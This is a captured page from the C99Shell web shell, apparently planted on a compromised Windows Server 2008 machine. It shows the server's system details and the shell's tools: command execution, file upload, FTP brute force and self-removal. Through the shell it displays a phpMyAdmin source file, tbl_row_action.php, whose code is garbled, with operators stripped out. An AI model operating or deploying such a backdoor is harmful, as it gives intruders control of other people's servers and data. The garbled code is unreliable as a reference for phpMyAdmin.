!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\phpMyAdmin\   drwxrwxrwx
Free 7.29 GB of 239.26 GB (3.05%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     tbl_row_action.php (4.81 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * handle row specifc actions like edit, delete, export
 *
 * @version $Id: tbl_row_action.php 12390 2009-05-04 16:05:24Z lem9 $
 * @package phpMyAdmin
 */


/**
 * do not globalize/import request variables
 * can only be enabled if all included files are switched superglobals too
 * but leave this here to show that this file is 'superglobalized'
define('PMA_NO_VARIABLES_IMPORT', true);
 */

/**
 *
 */
require_once './libraries/common.inc.php';
require_once 
'./libraries/mysql_charsets.lib.php';

/**
 * No rows were selected => show again the query and tell that user.
 */
if (! PMA_isValid($_REQUEST['rows_to_delete'], 'array')
 && ! isset(
$_REQUEST['mult_btn'])) {
    
$disp_message $strNoRowsSelected;
    
$disp_query '';
    require 
'./sql.php';
    require_once 
'./libraries/footer.inc.php';
}

if (isset(
$_REQUEST['submit_mult'])) {
    
$submit_mult $_REQUEST['submit_mult'];
// workaround for IE problem:
} elseif (isset($_REQUEST['submit_mult_delete_x'])) {
    
$submit_mult 'row_delete';
} elseif (isset(
$_REQUEST['submit_mult_change_x'])) {
    
$submit_mult 'row_edit';
} elseif (isset(
$_REQUEST['submit_mult_export_x'])) {
    
$submit_mult 'row_export';
}

// garvin: If the 'Ask for confirmation' button was pressed, this can only come
// from 'delete' mode, so we set it straight away.
if (isset($_REQUEST['mult_btn'])) {
    
$submit_mult 'row_delete';
}

switch(
$submit_mult) {
    case 
'row_delete':
    case 
'row_edit':
    case 
'row_export':
        
// leave as is
        
break;

    case 
$GLOBALS['strExport']:
        
$submit_mult 'row_export';
        break;

    case 
$GLOBALS['strDelete']:
    case 
$GLOBALS['strKill']:
        
$submit_mult 'row_delete';
        break;

    default:
    case 
$GLOBALS['strEdit']:
        
$submit_mult 'row_edit';
        break;
}

$GLOBALS['js_include'][] = 'tbl_change.js';
$GLOBALS['js_include'][] = 'functions.js';

require_once 
'./libraries/header.inc.php';

if (!empty(
$submit_mult)) {
    switch(
$submit_mult) {
        case 
'row_edit':
            
// garvin: As we got the fields to be edited from the 'rows_to_delete'
            // checkbox, we use the index of it as the
            // indicating primary key. Then we built the array which is used for
            // the tbl_change.php script.
            
$primary_key = array();
            foreach (
$_REQUEST['rows_to_delete'] as $i_primary_key => $del_query) {
                
$primary_key[] = urldecode($i_primary_key);
            }

            
$active_page 'tbl_change.php';
            include 
'./tbl_change.php';
            break;

        case 
'row_export':
            
// Needed to allow SQL export
            
$single_table TRUE;

            
//$sql_query = urldecode($sql_query);
            // garvin: As we got the fields to be edited from the 'rows_to_delete'
            // checkbox, we use the index of it as the
            // indicating primary key. Then we built the array which is used for
            // the tbl_change.php script.
            
$primary_key = array();
            foreach (
$_REQUEST['rows_to_delete'] as $i_primary_key => $del_query) {
                
$primary_key[] = urldecode($i_primary_key);
            }

            
$active_page 'tbl_export.php';
            include 
'./tbl_export.php';
            break;

        case 
'row_delete':
        default:
            
$action 'tbl_row_action.php';
            
$err_url 'tbl_row_action.php' PMA_generate_common_url($GLOBALS['url_params']);
            if (! isset(
$_REQUEST['mult_btn'])) {
                
$original_sql_query $sql_query;
                
$original_url_query $url_query;
            }
            require 
'./libraries/mult_submits.inc.php';
            
$_url_params $GLOBALS['url_params'];
            
$_url_params['goto'] = 'tbl_sql.php';
            
$url_query PMA_generate_common_url($_url_params);


            
/**
             * Show result of multi submit operation
             */
            // sql_query is not set when user does not confirm multi-delete
            
if ((!empty($submit_mult) || isset($_REQUEST['mult_btn'])) && ! empty($sql_query)) {
                
$disp_message $strSuccess;
                
$disp_query $sql_query;
            }

            if (isset(
$original_sql_query)) {
                
$sql_query $original_sql_query;
            }

            if (isset(
$original_url_query)) {
                
$url_query $original_url_query;
            }

            
// this is because sql.php could call tbl_structure
            // which would think it needs to call mult_submits.inc.php:
            
unset($submit_mult$_REQUEST['mult_btn']);

            
$active_page 'sql.php';
            require 
'./sql.php';

            
/**
             * Displays the footer
             */
            
require_once './libraries/footer.inc.php';
            break;
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--